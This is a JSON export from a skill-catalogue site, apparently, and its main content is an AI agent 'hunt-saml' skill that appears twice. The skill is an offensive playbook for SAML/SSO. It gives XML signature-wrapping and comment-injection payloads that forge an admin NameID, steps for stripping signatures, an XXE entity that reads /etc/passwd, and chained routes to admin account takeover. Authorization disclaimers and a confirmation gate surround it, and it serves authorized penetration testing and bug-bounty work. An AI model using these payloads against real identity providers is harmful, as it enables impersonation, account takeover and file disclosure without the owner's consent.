[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P67FFR5SNX603KVWHEX2VF":3,"skill-same:01M6P67FFR5SNX603KVWHEX2VF":71},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":27,"commitSha":52,"skillDirectory":53,"forksCount":13,"repositoryHtmlUrl":54,"repositoryHomepageUrl":6,"ownerHtmlUrl":55,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":56,"install":57,"resources":70},"01M6P67FFR5SNX603KVWHEX2VF","hunt-saml",null,"Hunt SAML \u002F SSO attacks.","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-saml\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"hunt saml","saml","hunt","only","for","attacks","relevant","helper","scope","main","community","testing","oasis","sso","cve","license","database","testing tools","research","github","2026-11-10 10:12:30",false,"---\nname: hunt-saml\ndescription: Hunt SAML \u002F SSO attacks.\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: cve_database, oasis_saml_spec, academic_research, public_research\nreport_count: 6\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## 20. SAML \u002F SSO ATTACKS\n> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.\n\n### Attack Surface\n```bash\n# Find SAML endpoints\ncat recon\u002F$TARGET\u002Furls.txt | grep -iE \"saml|sso|login.*redirect|oauth|idp|sp\"\n# Key endpoints: \u002Fsaml\u002Facs (assertion consumer service), \u002Fsso\u002Fsaml, \u002Fauth\u002Fsaml\u002Fcallback\n```\n\n### Attack 1: XML Signature Wrapping (XSW)\n```xml\n\u003C!-- BEFORE: valid assertion by user@company.com -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"legit\">\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>\u003C!-- Valid, covers ID=legit -->\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n\n\u003C!-- AFTER: inject evil assertion. Signature still validates (covers #legit).\n     App processes the FIRST assertion found = evil. -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"evil\">\n    \u003CNameID>admin@company.com\u003C\u002FNameID>  \u003C!-- Attacker-controlled -->\n  \u003C\u002Fsaml:Assertion>\n  \u003Csaml:Assertion ID=\"legit\">\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>\u003C!-- Valid -->\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n```\n\n### Attack 2: Comment Injection in NameID\n```xml\n\u003C!-- Attacker registers\u002Fcontrols account: admin@company.com.evil.com -->\n\u003CNameID>admin@company.com\u003C!---->.evil.com\u003C\u002FNameID>\n\u003C!-- Signed canonical form (C14N without-comments strips the comment BEFORE\n     digest): \"admin@company.com.evil.com\" — the value the signature covers. -->\n\u003C!-- App's XML processor also strips the comment but only reads the text node\n     UP TO the comment boundary: \"admin@company.com\" — a DIFFERENT effective\n     identity than was signed. The discrepancy is the bug. -->\n\u003C!-- Works when signer's C14N and app's text extraction disagree on comments.\n     CVE-2017-11428 (Ruby-SAML \u002F OneLogin), CVE-2016-5697. -->\n```\n\n### Attack 3: Signature Stripping\n```\n1. Decode SAMLResponse: echo \"BASE64\" | base64 -d | xmllint --format - > saml.xml \u003C!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->\n2. Delete the entire \u003CSignature> element\n3. Change NameID to admin@company.com\n4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)\n5. Submit — if server doesn't verify signature presence = admin ATO\n```\n\n### Attack 4: XXE in SAML Assertion\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n\u003Csaml:Assertion>\n  \u003CNameID>&xxe;\u003C\u002FNameID>\n\u003C\u002Fsaml:Assertion>\n```\n\n### Attack 5: NameID Manipulation\n```\nTest these NameID values:\n- admin@company.com (generic admin)\n- administrator@company.com\n- support@target.com\n- Any email found in disclosed reports for this program\n- ${7*7} (SSTI if NameID gets rendered in a template)\n```\n\n### Tools\n```bash\n# SAMLRaider (Burp extension) — automated XSW testing\n# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab\n\n# Manual workflow:\necho \"BASE64_SAML\" | base64 -d > saml.xml\n# Edit saml.xml\nbase64 -w0 saml.xml  # Re-encode\n# URL-encode the result before sending as SAMLResponse parameter\n```\n\n### SAML Triage\n```\nXSW successful   = Critical (ATO any user)\nSig stripping    = Critical (ATO any user)\nComment injection = High (ATO admin)\nXXE in assertion = High (file read \u002F SSRF)\nNameID manip     = Medium\u002FHigh (depends on what NameID maps to)\n```\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `\u003CAudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.\n- **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `\u003Cds:Signature>` element entirely → modify `\u003CNameID>` to admin → re-encode base64 → POST to `\u002Fsaml\u002Facs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.\n- **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.\n- **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>` in assertion + `\u003CNameID>&xxe;\u003C\u002FNameID>` → SP renders\u002Flogs NameID → \u002Fetc\u002Fpasswd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.\n- **`security-arsenal`** — Pull the SAML\u002FXSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml\u002FXerces\u002FMSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for \"SAMLResponse accepted on the wrong endpoint\" claims that don't actually validate.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML \"vulnerability\" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## 20. SAML \u002F SSO ATTACKS\n> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.\n\n### Attack Surface\n```bash\n# Find SAML endpoints\ncat recon\u002F$TARGET\u002Furls.txt | grep -iE \"saml|sso|login.*redirect|oauth|idp|sp\"\n# Key endpoints: \u002Fsaml\u002Facs (assertion consumer service), \u002Fsso\u002Fsaml, \u002Fauth\u002Fsaml\u002Fcallback\n```\n\n### Attack 1: XML Signature Wrapping (XSW)\n```xml\n\u003C!-- BEFORE: valid assertion by user@company.com -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"legit\">\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>\u003C!-- Valid, covers ID=legit -->\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n\n\u003C!-- AFTER: inject evil assertion. Signature still validates (covers #legit).\n     App processes the FIRST assertion found = evil. -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"evil\">\n    \u003CNameID>admin@company.com\u003C\u002FNameID>  \u003C!-- Attacker-controlled -->\n  \u003C\u002Fsaml:Assertion>\n  \u003Csaml:Assertion ID=\"legit\">\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>\u003C!-- Valid -->\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n```\n\n### Attack 2: Comment Injection in NameID\n```xml\n\u003C!-- Attacker registers\u002Fcontrols account: admin@company.com.evil.com -->\n\u003CNameID>admin@company.com\u003C!---->.evil.com\u003C\u002FNameID>\n\u003C!-- Signed canonical form (C14N without-comments strips the comment BEFORE\n     digest): \"admin@company.com.evil.com\" — the value the signature covers. -->\n\u003C!-- App's XML processor also strips the comment but only reads the text node\n     UP TO the comment boundary: \"admin@company.com\" — a DIFFERENT effective\n     identity than was signed. The discrepancy is the bug. -->\n\u003C!-- Works when signer's C14N and app's text extraction disagree on comments.\n     CVE-2017-11428 (Ruby-SAML \u002F OneLogin), CVE-2016-5697. -->\n```\n\n### Attack 3: Signature Stripping\n```\n1. Decode SAMLResponse: echo \"BASE64\" | base64 -d | xmllint --format - > saml.xml \u003C!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->\n2. Delete the entire \u003CSignature> element\n3. Change NameID to admin@company.com\n4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)\n5. Submit — if server doesn't verify signature presence = admin ATO\n```\n\n### Attack 4: XXE in SAML Assertion\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n\u003Csaml:Assertion>\n  \u003CNameID>&xxe;\u003C\u002FNameID>\n\u003C\u002Fsaml:Assertion>\n```\n\n### Attack 5: NameID Manipulation\n```\nTest these NameID values:\n- admin@company.com (generic admin)\n- administrator@company.com\n- support@target.com\n- Any email found in disclosed reports for this program\n- ${7*7} (SSTI if NameID gets rendered in a template)\n```\n\n### Tools\n```bash\n# SAMLRaider (Burp extension) — automated XSW testing\n# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab\n\n# Manual workflow:\necho \"BASE64_SAML\" | base64 -d > saml.xml\n# Edit saml.xml\nbase64 -w0 saml.xml  # Re-encode\n# URL-encode the result before sending as SAMLResponse parameter\n```\n\n### SAML Triage\n```\nXSW successful   = Critical (ATO any user)\nSig stripping    = Critical (ATO any user)\nComment injection = High (ATO admin)\nXXE in assertion = High (file read \u002F SSRF)\nNameID manip     = Medium\u002FHigh (depends on what NameID maps to)\n```\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `\u003CAudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.\n- **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `\u003Cds:Signature>` element entirely → modify `\u003CNameID>` to admin → re-encode base64 → POST to `\u002Fsaml\u002Facs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.\n- **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.\n- **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>` in assertion + `\u003CNameID>&xxe;\u003C\u002FNameID>` → SP renders\u002Flogs NameID → \u002Fetc\u002Fpasswd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.\n- **`security-arsenal`** — Pull the SAML\u002FXSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml\u002FXerces\u002FMSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for \"SAMLResponse accepted on the wrong endpoint\" claims that don't actually validate.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML \"vulnerability\" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":43,"source":44,"license":14,"sources":45,"category":46,"date_added":47,"description":7,"source_repo":48,"source_type":28,"report_count":49,"compatibility":50,"license_source":51},"offensive","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","cve_database, oasis_saml_spec, academic_research, public_research","security","2026-09-20","elementalsouls\u002FClaude-BugHunter",6,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-saml","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":69},[59,62,65],{"tool":60,"command":61},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-saml",{"tool":63,"command":64},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-saml",{"tool":66,"command":67},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-saml","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-saml\u002FSKILL.md",true,[],[72,98,122,144,172,196],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":83,"publishedAt":38},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[78],{"categoryNo":79,"categoryName":80,"taxonomyType":81,"taxonomyTypeDesc":82},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",[84,85,86,87,88,89,74,90,91,92,93,21,28,27,94,95,26,96,24,97],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","scripts","implementing",{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":38},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[105,106,107,108,109,110,111,112,113,114,115,116,117,21,118,28,119,120,95,121],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":38},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[129,130,131,132,37,133,36,33,134,135,136,137,138,28,27,139,140,141,142,143],"transcript","youtube transcript","youtube","safe","codex","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":161,"publishedAt":38},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[150,153,156],{"categoryNo":151,"categoryName":152,"taxonomyType":81,"taxonomyTypeDesc":82},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":154,"categoryName":155,"taxonomyType":81,"taxonomyTypeDesc":82},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":157,"categoryName":158,"taxonomyType":159,"taxonomyTypeDesc":160},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[129,130,131,162,132,163,37,133,33,164,165,166,167,136,168,28,27,169,170,171],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":173,"name":174,"nameZh":6,"description":175,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":176,"categories":177,"keywords":182,"publishedAt":38},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[178,181],{"categoryNo":179,"categoryName":180,"taxonomyType":81,"taxonomyTypeDesc":82},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":154,"categoryName":155,"taxonomyType":81,"taxonomyTypeDesc":82},[131,183,184,109,132,185,186,187,188,33,166,189,190,191,192,27,193,139,194,195],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":197,"name":198,"nameZh":6,"description":199,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":200,"categories":201,"keywords":203,"publishedAt":38},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[202],{"categoryNo":151,"categoryName":152,"taxonomyType":81,"taxonomyTypeDesc":82},[204,131,205,206,132,163,164,207,208,165,166,167,136,209,168,28,27,169,210,142],"youtube full","full","google","server","dlp","credits","automatic"]